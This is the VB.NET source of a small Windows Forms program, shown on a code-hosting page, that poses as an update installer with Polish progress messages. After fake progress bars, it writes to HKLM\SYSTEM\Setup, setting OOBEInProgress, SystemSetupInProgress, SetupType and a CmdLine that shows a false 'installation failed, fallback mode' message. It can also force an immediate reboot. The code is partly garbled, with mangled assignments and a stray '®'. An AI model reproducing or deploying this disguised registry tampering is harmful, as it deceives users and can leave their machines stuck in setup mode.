-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathForm1.vb
57 lines (47 loc) · 1.89 KB
/
Form1.vb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
Imports Microsoft.Win32
Public Class Form1
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Timer1.Start()
TextBox1.Text = +"
Pobieranie aktualizacji..."
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
ProgressBar1.Value = +5
If ProgressBar1.Value = ProgressBar1.Maximum Then
Timer1.Stop()
TextBox1.Text = +"
Gotowe.
Instalowanie aktualizacji..."
Timer2.Start()
End If
End Sub
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
ProgressBar2.Value = +1
If ProgressBar2.Value = ProgressBar2.Maximum Then
Timer2.Stop()
TextBox1.Text = +"
Gotowe."
Dim key As RegistryKey = Registry.LocalMachine
Dim subkey As RegistryKey
subkey = key.OpenSubKey("SYSTEM\Setup", True)
subkey.SetValue("OOBEInProgress", 1)
subkey.SetValue("SystemSetupInProgress", 1)
subkey.SetValue("SetupType", 2)
subkey.SetValue("CMDLine", "C:\Windows\System32\cmd.exe /c msg * Instalacja zakończona niepowodzeniem. System będzie w stanie fallback.® ADD HKLM\System\Setup /v CmdLine /t Reg_Sz /d "" /f")
If CheckBox1.Checked = True Then
Dim P As New Process
TextBox1.Text = +"
Restartowanie..."
Dim s As New ProcessStartInfo("shutdown", " -r -t 0 -f")
s.UseShellExecute = False
s.CreateNoWindow = True
s.RedirectStandardOutput = True
s.RedirectStandardError = True
P = New Process
P.StartInfo = s
P.Start()
P.EnableRaisingEvents = True
End If
End If
End Sub
End Class